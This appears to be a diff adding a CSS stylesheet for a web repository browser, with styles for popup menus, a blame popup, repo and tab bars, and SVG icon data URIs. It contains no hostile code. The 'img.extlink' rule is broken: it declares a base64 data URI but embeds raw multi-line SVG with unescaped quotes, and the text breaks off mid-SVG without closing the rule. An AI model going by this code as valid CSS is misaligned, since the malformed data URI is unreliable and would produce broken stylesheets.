+div.inline-title {
+	background-color: rgba(192, 192, 192, 0.7);
+	border-radius: 6px;
+	padding: 6px;
+}
+
+div.burger {
+	position: absolute;
+	text-align: center;
+	font-size: 6px;
+	font-color: black;
+	left: 6px;
+	width: 24px;
+	height: 12px;
+	opacity: 0;
+	z-index: 2;
+	padding-top: 4px;
+	padding-bottom: 0px;
+	cursor: pointer;
+	border: 1px solid gray;
+	border-radius: 3px;
+	background-color: rgba(255, 255, 255, 1.0);
+	transition: opacity 0.5s;
+}
+
+div.burger:before {
+	content: "\26AB\26AB\26AB";
+}
+
+div.popup-blameotron {
+	display: inline-block;
+	float: right;
+	position: absolute;
+	text-align: left;
+	font-size: 40%;
+	color: black;
+	opacity: 0;
+	z-index: 3;
+	margin: 3px;
+	padding: 3px;
+	border: 1px solid gray;
+	border-radius: 3px;
+	background-color: white;
+	white-space: normal;
+	box-shadow: 0px 5px 15px gray;
+	transition: opacity 0.3s;
+	word-wrap:break-word;
+}
+
+td.blamoid {
+	text-align: left;
+	font-size: 90%;
+	line-height:100%;
+	word-wrap:break-word;
+	vertical-align:top;
+}
+
+div.popup-menu {
+	display: inline-block;
+	float: left;
+	position: absolute;
+	text-align: left;
+	font-size: 12px;
+	color: black;
+	left: 8px;
+	opacity: 0;
+	z-index: 3;
+	margin: 3px;
+	padding: 3px;
+	border: 1px solid gray;
+	border-radius: 3px;
+	background-color: white;
+	white-space: nowrap;
+	box-shadow: 0px 5px 15px gray;
+	transition: opacity 0.3s;
+	font-weight:normal
+}
+
+div.popup-menu ul {
+	list-style-type: none;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+div.popup-menu ul li {
+	margin: 3px;
+	padding: 3px;
+	font-size: 14px;
+	left: 0px;
+}
+
+div.popup-menu ul li:hover {
+	background-color: lightblue;
+}
+
+div.popup-menu ul li:active {
+	background-color: blue;
+	color: white;
+}
+
+hr {
+	border-width: 1px;
+	border-color: black;
+	width: 100%;
+	padding-top: 0px;
+	margin: 0px;
+}
+
+div.repobar {
+	margin-top:8px;
+	margin-bottom:12px;
+}
+
+td.repobar {
+	margin-top:-0px;
+	margin-bottom:0px;
+	padding-top:0px;
+	padding-bottom:0px;
+}
+
+tr.repobar {
+	display:block;
+	margin: auto;
+	margin-top:-2px;
+	margin-bottom:0px;
+	padding-top:0px;
+	padding-bottom:0px;
+	vertical-align:top;
+	width: 100vw;
+	margin-left: -12px;
+	padding-top:4px;
+	padding-right: 12px;
+	padding-left: 8px;
+	border-top: 1px solid #AAA;
+	border-bottom: 1px solid #AAA;
+}
+
+tbody.repobar {
+	margin-top:0px;
+	margin-bottom:0px;
+	padding-top:0px;
+	padding-bottom:0px;
+	border-spacing:0px;
+	vertical-align:top;
+	table-layout:fixed;
+}
+
+table.repobar {
+	margin-top:0px;
+	margin-bottom:0px;
+	padding-top:0px;
+	padding-bottom:0px;
+}
+
+div.tabbar {
+	display: inline-block;
+	margin: 0;
+	margin-top: 0px;
+	margin-bottom: 8px;
+	padding: 0 16px 0 8px;
+	width:100%;
+	height: 1.85em;
+	z-index:0;
+}
+
+tr.tabbar {
+	margin-top:-3px;
+	margin-bottom:0px;
+	padding-top:0px;
+	padding-bottom:0px;
+	vertical-align:top;
+	display:block;
+}
+
+div.tabs {
+	display: inline-block;
+	float:left;
+	height: 1.7em;
+	line-height: 1.6em;
+	margin-right:8px;
+}
+
+div.tabs ul {
+	display: inline;
+	list-style-type: none;
+	padding: 2px 2px 2px 2px;
+	margin: 0;
+}
+
+div.tabs li {
+	border: 1px solid #AAA;
+	background: #f1f1f1;
+	display: inline-block;
+	position: relative;
+	height: 1.7em;
+	line-height: 1.6em;
+	z-index: 1;
+	border-top: 0px solid #AAA;
+	border-top-left-radius: 0px;
+	border-top-right-radius: 0px;
+	border-bottom-left-radius: 9px;
+	border-bottom-right-radius: 9px;
+	text-shadow: 0 1px #FFF;
+	margin: -0.5px -0.5px 0px -0.5px;
+	padding: 0 8px 0 4px;
+}
+
+div.tabbar:before {
+	position: relative;
+	content: " ";
+	width: 100%;
+	left: 0;
+	z-index: 1;
+}
+
+div.tabs li.selected:before {
+	box-shadow: 2px 2px 0 #FFF;
+}
+div.tabs li.selected:after {
+	box-shadow: -2px 2px 0 #FFF;
+}
+div.tabs li.selected {
+	position:relative;
+	background: #FFF;
+	color: #000;
+	z-index: 2;
+	margin-top: -4px;
+	border-top: 0px;
+	border-top-left-radius: 0px;
+	border-top-right-radius: 0px;
+}
+
+div.tabs a {
+	text-decoration: none;
+	display: inline-block;
+	color: #00c;
+	text-align: center;
+}
+
+div.tabs li.selected a {
+	color: #000;
+}
+
+img.home {
+	display: inline-block;
+	float:left;
+	background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMC41NDcgNy4zMzU2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KPG1ldGFkYXRhPgo8cmRmOlJERj4KPGNjOldvcmsgcmRmOmFib3V0PSIiPgo8ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD4KPGRjOnR5cGUgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIvPgo8ZGM6dGl0bGUvPgo8L2NjOldvcms+CjwvcmRmOlJERj4KPC9tZXRhZGF0YT4KPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEwMC41MyAtMTA0LjczKSI+CjxwYXRoIGQ9Im0xMDAuOTggMTA3LjY1IDQuMzc2NS0yLjc3MjkgMi42MDU5IDEuNDd2LTEuMjM2MWgwLjczNDk5djEuNTcwMmwxLjg3NzcgMS4wODQxeiIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im0xMDEuOTggMTA3LjcydjQuMjA5NWg3LjI4MzF2LTQuMjA5NWgtNy4zODMzeiIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxyZWN0IHg9IjEwNC44NSIgeT0iMTA5LjI2IiB3aWR0aD0iMS41NzAyIiBoZWlnaHQ9IjIuNjM5MyIgcnk9IjAiIGZpbGw9IiNmZmYiIHN0cm9rZT0iIzRkNGQ0ZCIgc3Ryb2tlLW9wYWNpdHk9Ii4xODE4MiIgc3Ryb2tlLXdpZHRoPSIuMDY1Ii8+CjwvZz4KPC9zdmc+Cg==");
+	width:0px;
+	height:0px;
+	padding:0.7em 0.9em 0.7em 0.9em;
+	vertical-align:middle;
+	margin-right: 0.3em;
+	background-repeat: no-repeat;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.extlink {
+        display: inline-block;
+        float:left;
+        background: url("data:image/svg+xml;base64,<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" viewBox="0 0 25.131094 26.835531" xmlns="http://www.w3.org/2000/svg">
	<defs>
		<filter id="c" x="-.072968" y="-.075889" width="1.1459" height="1.1518" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="0.66676601"/>
		</filter>
		<filter id="b" x="-.11057" y="-.092619" width="1.2211" height="1.1852" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="0.44483784"/>
		</filter>
		<filter id="a" x="-.098964" y="-.072967" width="1.1979" height="1.1459" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="0.45015358"/>
		</filter>
	</defs>
	<g transform="translate(70.933 -78.18)">
		<path d="m-54.04 82.665c-3.3418-0.4451-7.0433-0.77798-9.9663 1.2546-3.5677 1.7474-4.8674 5.9225-5.3265 9.5959 0.2339 3.296 1.7833 6.8024 5.0765 8.0359 3.6665 1.2823 7.8341 2.6678 11.655 1.2973 2.1999-1.2413 4.564-3.0153 4.6329-5.7847 0.85615-3.1288 0.66995-6.459-0.0819-9.5815-0.71079-2.9211-3.8756-3.3081-5.9896-4.8174z" fill="#d5e5ff" filter="url(#c)"/>
		<path d="m-55.877 86.268c0.0409-0.73593 0.26902-1.4409 0.62661-2.0808 1.8614-2.8719 5.5296-4.5194 8.1992-5.8335-0.34024 2.5445-1.1133 5.1696-2.1871 7.2623-0.57596 1.0297-1.5592 2.1388-2.6095 2.3922-0.56339 0.14445-1.0553 0.36139-1.1391 0.99188-0.18991 0.48428-0.37982 0.96856-0.56975 1.4528-1.4074-0.26194-4.6712-2.3836-3.3325-3.1436z" fill="#fff"/>
		<g>
			<path d="m-50.038 87.717-0.16537-0.34727-0.22324-0.12401s0.10749-0.13229 0.14883-0.14057c0.0413-8e-3 0.26458 0.14057 0.26458 0.14057l0.21498 0.30591-0.0744 0.0992-0.13229 0.0164z" fill="#808080"/>
			<path d="m-49.971 88.233 0.46472-0.11127 0.41237-0.43855-0.0654-0.54981 0.30109-0.27491 0.45817-0.0582-0.0262-0.32141-0.17673-0.15055-0.15709 0.17018 0.0469 0.11954-0.31521 0.0506-0.25011 0.1564-0.2408 0.2756 0.0131 0.25528-0.0458-0.31418 0.32073-0.53019 0.41235-0.216 0.1309-0.25526-0.1309-0.11127-0.17672 0.0786-0.0459 0.13745-0.35 0.13296-0.21291 0.29903-0.23562 0.36656-0.0262 0.42545-0.0589 0.24218-0.22805 0.18946 0.0513 0.11162 0.0523 0.25528z" fill="#b3b3b3"/>
			<path d="m-50.653 87.892c-0.0228 0.0696 4e-3 0.17565 0.0441 0.2583 0.0368 0.0732 0.0736 0.16781 0.16816 0.17356 0.0699 0.0201 0.14292 0.052 0.2149 0.02 0.0771-0.0272 0.1604-0.0334 0.23609-0.064 0.0512-0.0546 0.0266-0.15075 0.0155-0.22042-0.0277-0.0785-0.0298-0.18299-0.1173-0.21901-0.0806-0.0484-0.15901-0.13337-0.25927-0.12656-0.0926-3e-3 -0.20516 0.0173-0.26158 0.1004-9e-3 0.0182-0.0254 0.0285-0.0302 0.0479z" fill="#ccc"/>
		</g>
		<path d="m-56.347 85.242c-3.0737 0.0665-6.6618 0.98523-8.2118 3.9067-2.6068 4.8087-0.26927 8.8313 3.2668 10.521 1.1543 0.83526 3.9218 1.0703 5.3428 0.6924 4.7649-1.6821 7.135-6.9193 4.4958-11.082-0.0363 0.0471-0.47185-0.8521-0.90999-0.39165-0.31041 0.32621-0.58919 1.9938-0.87466 2.236-0.33927 0.28788-0.28155-0.21993-0.5949 0.19934-0.2574 0.3444-0.28705 1.7146-0.49491 1.9535-0.60542 0.69573-0.58415 0.23366-0.61421-0.21498-0.29069 0.28574-0.35362 1.0309-0.71904 1.4731-0.45 0.54456-0.0699-1.0674-0.3482-0.79299-0.38035 0.37509-1.2988 1.8775-1.6182 2.1653-0.60318 0.54352 0.21008-0.97617-0.32755-0.49263-0.0108 0.01-0.77918 0.71049-0.48847 1.3188 0.18909 0.39567 1.3659 0.69826 1.6447 0.93073 0.40479 0.33758 1.0142-0.29901 1.3381-0.19077 0.50949 0.17026 0.58455-0.40339 0.87935-0.41734 0.16702-8e-3 0.16536-0.93623-0.25955-1.2164-0.29687-0.19572-1.0158 0.2841-1.1146 0.0927-0.19153-0.37111 0.77447-0.59397 0.97446-0.53918 0.73053 0.20011 0.7549 1.0542 1.1663 1.3413 0.49614 0.3462-0.82248 1.0088-0.69167 1.2586 0.32408 0.61888-2.1334 0.39157-2.1712 0.68788-0.0545 0.42698-1.8497-0.70197-1.9934-0.56992-0.33237 0.30542-1.206-0.94139-1.3793-0.76722 0.0189-1.2924 0.34352-1.9327 0.425-2.6262 0.019-0.16142-0.70327 7e-3 -0.68678-0.16112 0.0249-0.25376 0.79694-0.61099 0.5951-0.88352-0.0751-0.10135-0.17046-0.20471-0.28965-0.31061 0.27982-0.44453 0.9331-0.83718 0.88175-0.97799-0.0482-0.13226-0.23669-0.17655-0.63561-0.43874 0.35663-0.34164 0.64513-0.53746 1.1921-1.2124-0.0919-0.16598-0.12008-0.30607-0.18982-0.67385 0.24928-0.72131 0.65769-1.2469 0.66159-1.8297-0.0711-0.66164 0.24518-0.74892 0.42633-1.024 0.23789-0.36118 0.81359-0.72503 1.0763-1.033 0.24154-0.2832 0.0211-0.62728 0.24717-0.9316z" fill="#2a7fff"/>
		<path d="m-50.11 82.157c0.66814-0.32203 1.5931-0.32177 1.3901 0.68711-6e-3 0.65518-0.37358 1.6543-1.1461 1.6375-1.4515-0.26875-1.4058-1.7219-0.24396-2.3246z" fill="#999"/>
		<path d="m-57.269 88.111-0.58598 1.6408 0.17579 0.49809-1.0255 1.2013 0.82039-0.2344-1.3478 2.2854 0.73249-0.3809-0.6739 2.6077 2.1389-2.2268-0.23441 1.2599 1.7287-2.5198-0.0293 1.4064 0.7325-1.9045 0.29298 0.82038 0.4981-2.1389-1.3185-0.67389-1.0255-0.586z" fill="#c87137"/>
		<path d="m-50.482 83.51c5e-3 0.0107 0.046 0.42729 0.046 0.42729l-0.0189 0.28125-0.21739-0.17434-0.20719-0.29622-0.0514-0.32722-0.0131-0.18396 0.10772-0.17032 0.22176-0.0379 0.046 0.33533 0.0865 0.15957z" fill="#333"/>
		<path d="m-53.909 82.58 1.1602 1.0152 1.5124 1.0152 1.2016 0.66297 0.78728 0.31077-0.76656 1.2638-0.53867 0.41436-1.8853-0.78728-1.1809-0.76657-1.0566-0.9323-0.49723-0.76656 0.74584-0.93231z" fill="#ff0" stroke="#000" stroke-width=".2344px"/>
		<g fill="none" stroke="#000" stroke-width=".2344px">
			<path d="m-53.059 83.368-1.4295 1.5538"/>
			<path d="m-52.003 84.155-1.3674 1.6989"/>
			<path d="m-50.843 84.859-1.3674 1.6989"/>
			<path d="m-49.993 85.357-1.2016 1.7196"/>
			<path d="m-54.592 83.306 0.62154 0.82871 1.2224 0.99447 1.2016 0.72513 0.93231 0.43507 0.84944 0.16574"/>
		</g>
		<g stroke="#000" stroke-width=".2344px">
			<path d="m-53.909 82.643 0.84944 0.68368-0.76657 0.87014-0.78728-0.84942z"/>
			<path d="m-52.003 84.134 1.1809 0.72512-0.78728 0.95304-1.098-0.66297z"/>
			<path d="m-49.889 85.336s-0.78728 0.93229-0.70441 0.93229c0.0828 0 0.84943 0.16574 0.84943 0.16574l0.47651-0.8287z"/>
			<path d="m-53.888 84.238 1.1809 0.84943-0.68369 0.74585-1.0877-0.95302z"/>
			<path d="m-51.609 85.937-0.64226 0.64226 1.1395 0.39363 0.49723-0.68369z"/>
		</g>
		<path d="m-49.257 81.992c0.8091 0.35695 0.072 2.0826-0.34936 2.2099-0.14128 0.10401-0.55813 0.015-0.7103 0.0449 0.0299 0.0963 0.3336 0.14717 0.4394 0.18169 0.17961 0.0456 0.49577-0.0452 0.61979-0.18294 0.24116-0.21326 0.39677-0.51461 0.43702-0.83347 0.0681-0.31654 0.15099-0.62969 0.22113-0.94578-0.0804-0.24796-0.33212-0.53166-0.61211-0.50978-0.0257-3.7e-4 -0.0211 0.0433-0.0455 0.0355z" fill="#615f61" fill-opacity=".77686"/>
		<g fill-opacity=".65702">
			<path d="m-55.877 86.289c0.38059 0.5006 0.0339 0.36127 0.55938 0.6837-0.82821 0.91206-0.73584 0.89088-1.5953 1.5331-0.51242-0.4872-0.10411-0.12233-0.33148-0.76656l0.3522-0.47651z" fill="#ccc"/>
			<path d="m-57.12 88.216-0.49723 1.6574 0.39363-0.16574-0.64225 1.326 0.70441-0.43509-1.4088 2.3826 0.89087-0.66299-0.808 1.9268 2.569-2.3204-0.78728 1.471 1.4917-2.1547-0.1243 1.1188 0.64225-1.616-0.0828 0.82873 0.47651-1.3467-0.99445-0.35221-0.6837-0.41436-0.60082-0.64225z" fill="#d7d415"/>
			<path d="m-55.877 86.268 0.62153 0.76657 0.78728 0.43509 0.82873 0.4765-1.0566-0.1243-0.91159-0.0622-0.808-0.10358-0.7044 0.26933-0.0415-0.35221 0.43508-0.33148 0.51794-0.64227z" fill="#ccc"/>
		</g>
		<path d="m-56.669 88.866-0.29766 0.61185h0.33073l-0.39687 0.82683 0.46302-0.11576-0.72761 1.6371 0.42995-0.31419-0.5457 1.1741 1.5048-1.4552-0.0165 0.46302 0.61185-1.0418 0.11575 0.51263 0.41341-0.94258 0.1819 0.3142 0.0992-0.39688-0.95911-0.57877-0.76068-0.52917z" fill="#ffe680"/>
		<path d="m-50.083 82.13c0.66815-0.32204 1.5931-0.32177 1.3901 0.68711-6e-3 0.65518-0.37358 1.6543-1.1461 1.6375-1.4515-0.26876-1.4058-1.7219-0.24396-2.3246z" fill="none" stroke="#000" stroke-width=".04252"/>
		<g>
			<path d="m-54.903 90.018c0.39179-0.90891 1.0749-1.7886 1.6216-2.6219 1.0084-0.38889 1.9219-0.99453 2.6816-1.7607 0.47843-0.4476 0.82823-1.021 1.1524-1.5849 0.31112-1.0617 0.82382-2.0414 1.3776-2.9934 0.38444-0.85208 0.48549-1.8139 0.98137-2.6229 0.10457-0.11464-0.12558 0.82893-0.1768 1.1305-0.1437 0.52591-0.14915 1.1601-0.28173 1.69-0.18768 0.7501-0.50532 1.395-0.75187 2.1263-0.40837 1.086-0.8353 2.1916-1.4984 3.146-0.65758 0.75923-1.4622 1.4386-2.4688 1.6605-0.62377 0.30817-0.75529 1.1252-1.0931 1.6917-0.13826 0.39433-0.22076 0.93608-0.68406 0.47035-0.14157-0.0759-0.71823-0.25553-0.85979-0.33149z" fill-opacity=".3719"/>
			<g>
				<path d="m-50.723 82.914c0.17053-0.0465 0.36868-0.0459 0.58146 7e-3 0.0625 0.0475 0.0755 0.1681 0.0215 0.2448-0.0702 0.0562-0.16743-0.0799-0.22625-4e-3 0.0107 0.0355 0.19224 0.0618 0.0991 0.0852-0.0895-7e-3 -0.17357-0.0698-0.26243-0.0556-0.11437 0.0705 3.71e-4 0.20334-4e-3 0.30144-5e-3 0.0779 0.045 0.18207-4e-3 0.24471-0.0248-0.10422-0.01-0.21794-0.0474-0.32136-0.0507-0.0848-3e-3 -0.22091-0.1078-0.27063-0.11537-0.0541-0.25349 0.0554-0.23527 0.1792 1e-4 0.0671-0.0223 0.11391-0.019 0.0195 0.0202-0.12859 9e-3 -0.30921 0.12528-0.38754 0.0267-0.014 0.0551-0.0256 0.0796-0.0431z"/>
				<path d="m-50.358 83.147 0.31032 0.0873 0.0339-0.0114 0.0257 3e-3 0.0298 0.0521-0.0304-0.0365s9e-3 0.0454 6e-3 0.0426c-3e-3 -3e-3 -0.0189-0.0379-0.0189-0.0379s-5e-3 0.0352-9e-3 0.0331c-4e-3 -2e-3 -0.0136-0.0304-0.0136-0.0304s-7e-3 0.0324-9e-3 0.0298c-2e-3 -3e-3 -0.0189-0.0311-0.0189-0.0311l-0.0136-2e-3 -5e-3 0.0102-2e-3 0.0203 4e-3 0.0264 0.0121-0.0291s0.0229 0.0548 0.0284 0.0521c5e-3 -3e-3 3e-3 -0.0413 3e-3 -0.0413l0.0149 0.048s0.0102-0.0588 9e-3 -0.0547c-6.61e-4 4e-3 4e-3 0.0663 4e-3 0.0663l0.0196-0.0324-0.0162 0.0493-0.0291-2e-3 -0.0406-0.0338-0.0277-0.0318-8e-3 -0.0324-0.0541-0.0216-0.11358-0.0392-0.0994-0.0352z"/>
				<path d="m-50.16 83.234c0.0269 0.0266 0.0349 0.0712 0.0171 0.10501-0.0152 0.0106-0.0267 0.0532 4e-3 0.0456 0.0249-6e-3 2e-3 -0.0357 8e-3 -0.0527 3e-3 -0.0307-3e-3 -0.0619-3e-3 -0.0911-9e-3 -2e-3 -0.0179-4e-3 -0.0259-7e-3z"/>
			</g>
		</g>
		<path d="m-47.113 78.478-1.5746 1.4917-1.616 1.3881-1.0773 0.93232-1.2016 1.4502-1.326 1.7196-0.47651 1.0359-0.29005 0.76656-0.58011 0.72514-1.2845 1.1188-0.80799-1.2016 0.26933-0.4765 1.2431-1.1602 0.14503-1.2016 0.58011-1.2638 1.3467-1.3052 1.9268-1.4917 2.1547-1.4295 2.2375-1.0152z" fill="#ccc" fill-opacity=".53719"/>
		<g>
			<path d="m-50.831 83.145c0.0297 0.0839 0.0581 0.16984 0.0523 0.26002 0.0115 0.13622-8e-3 0.27162-0.0237 0.40647-3e-3 0.0476 0.0142 0.0811 0.0201 0.012 0.0385-0.1441 0.019-0.2944 0.0434-0.44056 0.0534-0.099 0.1577 0.0507 0.11325 0.11704-0.0183 0.10954-0.0234 0.22154-0.0159 0.33225 4e-3 0.0477 0.0204 0.14818 0.0231 0.16192-0.0113-0.12026-0.0213-0.24226 5e-3 -0.36134 4e-3 -0.0861 0.0516-0.17708 3e-3 -0.25668-0.0362-0.0924-0.0673-0.18661-0.10113-0.27988-0.0399 0.0162-0.0796 0.0328-0.11946 0.0487z"/>
			<path d="m-50.842 83.408 0.12711 0.0298 0.0486 0.0703 0.027-0.0676 0.0947-0.0622 0.0108 0.0216-0.0947 0.0649-0.0486 0.10817-0.0595-0.11899-0.0947-0.0244-0.0244-0.0244z"/>
			<path d="m-50.843 83.502 0.12711 0.0298 0.0486 0.0703 0.027-0.0676 0.0947-0.0622 0.0108 0.0216-0.0947 0.0649-0.0486 0.10816-0.0595-0.11898-0.0947-0.0244-0.0244-0.0244z"/>
			<path d="m-50.851 83.608 0.1271 0.0298 0.0486 0.0703 0.027-0.0676 0.0947-0.0622 0.0108 0.0216-0.0947 0.0649-0.0486 0.10817-0.0595-0.11899-0.0947-0.0244-0.0244-0.0244z"/>
			<path d="m-50.544 83.197c-0.0153 0.0467-0.0599 0.11385-4e-3 0.15072 0.0632 0.0401 0.13565 0.073 0.17519 0.14054 0.0376 0.0501 0.0917 0.11376 0.0572 0.1796-0.0314 0.0655-0.0246 0.15078 0.0257 0.20523 0.019 0.0606 0.0711 0.11725 0.13961 0.10827 0.0348 9e-4 0.12465 0.0595 0.086 0.0832-0.0411-0.0249-0.0753-0.0759-0.13042-0.0632 0.0176 0.0429 0.087 0.0703 0.12025 0.11177 0.041 0.0174 0.0133 0.13492-9e-3 0.0624-0.01-0.0582-0.0674-0.082-0.10612-0.11758-0.0238-0.0215-0.0614-0.0443-0.0207-5e-3 0.0323 0.0303 0.0933 0.11042 0.0611 0.13761-0.029-0.0361-0.07-0.11292-0.0934-0.12442 0.0282 0.0495 0.0443 0.11143 0.0174 0.16515-0.0179-0.051-0.0201-0.13496-0.05-0.19375-0.0326-0.0914-0.0741-0.1802-0.10407-0.27205-0.0166-0.0665 0.0576-0.13145 0.0202-0.19165-0.0514-0.0471-0.13645-0.0502-0.17385-0.11383-9e-3 -0.072-0.0616-0.15223-0.0461-0.21826 0.0114-0.0149 0.0229-0.0297 0.0344-0.0445z"/>
		</g>
		<circle cx="-50.29" cy="83.018" r=".040636" fill="#999"/>
		<circle cx="-50.257" cy="83.037" r=".032508"/>
		<path d="m-59.166 85.674c-1.6237 2.0554-3.0603 4.4906-2.8824 7.2061-0.30691 2.0984 0.14824 4.4367 1.9343 5.769 1.3968 1.3179 4.2429 0.91872 5.3772 1.2052-3.7714 1.775-8.4291-0.43718-10.27-3.961-1.4587-2.8576-0.31314-6.5906 2.0538-8.6076 1.0942-0.84519 2.4037-1.457 3.7866-1.6116z" fill="#00f" fill-opacity=".82231" filter="url(#a)"/>
		<path d="m-50.619 87.942c-0.0164-0.0536 0.0313-0.14761 0.13413-0.18939 0.11334-0.0111 0.12534-0.0164 0.20007 0.0175 0.0735 0.0172 0.11221 0.12691 0.13561 0.18373 0.0158 0.12264-0.0689 0.12545-0.11552 0.18221-0.0645 0.0255-0.15697 0.0897-0.22089 0.0365-0.064-0.0648-0.0751-0.0712-0.11898-0.14902z" fill="#f2f2f2"/>
		<g>
			<path d="m-49.971 88.252h-0.144l-0.17018 0.0916 0.34691 0.013 0.11127 0.144 0.47127-0.072 0.35345-0.10472-0.0262-0.34037-0.15055-0.18326-0.26181 0.28144z" fill="#ccc"/>
			<path d="m-50.577 87.933 0.0526-0.10962 0.11693-0.0394 0.0789 0.0116 0.10232 0.0541-0.0775-0.0161-0.11401 0.0204-0.0775 0.0395z" fill="#fff"/>
			<path d="m-48.602 86.335 0.0848 0.16664 0.0292 0.18708-0.0906 0.0643-0.28648 0.0322-0.36249 0.3157-0.0702 0.18418 0.0263 0.28061-0.16662 0.21048-0.20463 0.11401-0.0848-0.20463-0.0234 0.42095 0.26309-0.10816 0.22217-0.16661 0.17539-0.15787-0.0672-0.53494 0.29525-0.28064 0.4648-0.0614-0.0322-0.31572z" fill="#808080"/>
			<path d="m-49.786 88.395c-0.0145-0.0185-0.12609-0.30385-0.12609-0.30385l0.28525-0.0765 0.19431-0.12401 0.13022-0.1075 0.14676 0.14058 0.0682 0.33898-0.32039 0.0951z" fill="#e6e6e6"/>
			<path d="m-48.856 85.947c4e-3 0.0249 0.0827 0.16123 0.0827 0.16123l-0.15296 0.17778-0.339 0.12816-0.091 4e-3 0.0413 0.10335-0.11576 0.22326-0.21497 0.23563h-0.062l0.11989 0.11576 0.0289 0.27699-0.13229 0.11988-0.13229-0.18602 8e-3 0.45061 0.0786-0.20672h0.10335l0.13229-0.0992 0.12816 0.0951-0.14056-0.2191-0.0372-0.30178 0.31006-0.51679 0.43822-0.22736 0.0992-0.24804-0.13229-0.11576z" fill="#808080"/>
		</g>
		<g fill="#ccc">
			<path d="m-49.82 88.114 0.10378 0.24702 0.11401-0.0132-0.10235-0.26307z"/>
			<path d="m-49.655 88.071 0.10378 0.24702 0.11254-0.0132-0.10085-0.26307z"/>
			<path d="m-49.494 88.004 0.10816 0.30256 0.10816-0.038-0.10962-0.34346z"/>
			<path d="m-49.351 87.895 0.11694 0.35518 0.0994-0.0307-0.14612-0.36684z"/>
		</g>
		<path d="m-50.485 88.308 0.1695 0.0455h0.11162l0.16123-8e-3 0.091-4e-3 0.12816 0.14883 0.49196-0.0661 0.31833-0.0992-0.0165-0.34314-0.15805-0.16339-0.0384 0.0357-0.0365-0.0323 0.16636-0.1554-0.0615-0.52796 0.29231-0.28307 0.46424-0.0601-0.0331-0.31835 0.0372 0.0206 0.0289 0.33898-0.50436 0.062-0.25632 0.25218 0.062 0.51675-0.0951 0.11163 0.1695 0.20672-4e-3 0.37619-0.37207 0.11162-0.45888 0.0662-0.11989-0.15708-0.26045 4e-3 -0.1571-8e-3z"/>
		<path d="m-49.509 87.332-0.0537-0.29766 0.31637-0.53111 0.436-0.21641 0.0992-0.24879-0.13224-0.12404 0.16264 0.12307-0.0965 0.26555-0.43408 0.22323-0.30592 0.5085z"/>
		<path d="m-50.355 87.908c0.0284 0.0175 0.0496 0.0439 0.0681 0.0703 8e-3 4e-3 0.0164 5e-3 0.0241 9e-3" fill="none" stroke="#666" stroke-width=".01"/>
		<g>
			<circle cx="-50.468" cy="87.961" r=".016809" fill="#ececec" stroke="#999" stroke-linejoin="round" stroke-width=".01"/>
			<circle cx="-50.412" cy="88.047" r=".016809" fill="#ececec" stroke="#999" stroke-linejoin="round" stroke-width=".01"/>
			<path d="m-50.359 88.169l0.0672-0.0453c0.0113-0.0207 0.0274-0.038 0.0521-0.0406 0.0267-0.0115 0.0662 0.0174 0.0475 0.0456-0.0233 0.0213-0.0547 0.0317-0.0863 0.029h-0.0511c-0.01 4e-3 -0.0205 9e-3 -0.0294 0.0113z" fill="#999"/>
		</g>
		<path d="m-52.188 88.882c0.19058 0.83698 0.59423 1.6458 0.48008 2.5211 0.0245 1.005-0.22252 1.9949-0.52846 2.9439-0.45845 0.89608-0.83331 1.8446-1.4912 2.6214-0.33494 0.57191-0.8207 0.99723-1.3763 1.3461-0.71769 0.47933-1.4035 1.0438-2.2001 1.3797-0.7219 0.18611-1.4474 0.36276-2.1976 0.36455-0.33891 0.02-0.76992 0.0339-0.12278 0.097 0.89167 0.15208 1.7859 0.3368 2.6927 0.21193 0.88112 0.0397 1.6456-0.45296 2.4562-0.72592 0.83967-0.36238 1.4722-1.0842 2.2046-1.6238 0.55784-0.91064 1.273-1.7466 1.542-2.8013 0.33705-0.72817 0.46019-1.4978 0.41712-2.2953 0.0625-0.86225-0.27988-1.68-0.48299-2.5048-0.4204-0.49768-0.46908-1.5484-1.2445-1.5179l-0.14883-0.0165z" fill="#aaf" fill-opacity=".76446" filter="url(#b)"/>
		<path d="m-55.917 86.296c0.0409-0.73593 0.26902-1.4409 0.62661-2.0808 1.8614-2.8719 5.5296-4.5194 8.1992-5.8335-0.34024 2.5445-1.1133 5.1696-2.1871 7.2623-0.57596 1.0297-1.5592 2.1388-2.6095 2.3922-0.56339 0.14445-1.0553 0.36139-1.1391 0.99188-0.18991 0.48428-0.37982 0.96856-0.56975 1.4528-1.4074-0.26194-4.6712-2.3836-3.3325-3.1436z" fill="none" stroke="#000" stroke-width=".2344px"/>
		<g>
			<path d="m-49.944 87.876-0.0585-0.27479-0.0175-0.23971-0.41511-0.22215-0.10523-0.10525 0.24555-0.10523 0.30987 0.228 0.22217 0.14033-0.0292 0.38002z" fill="#b3b3b3"/>
			<path d="m-50.311 88.148c0.0191-0.0117 0.0395-0.0247 0.0491-0.0459 0.0176-0.0144 0.0353-0.0139 0.0531-6e-3 9e-3 0.0147-0.0137 0.0318-0.0263 0.0213-0.0288 7.4e-4 -0.0467 0.0319-0.0759 0.0306z" fill="#e6e6e6"/>
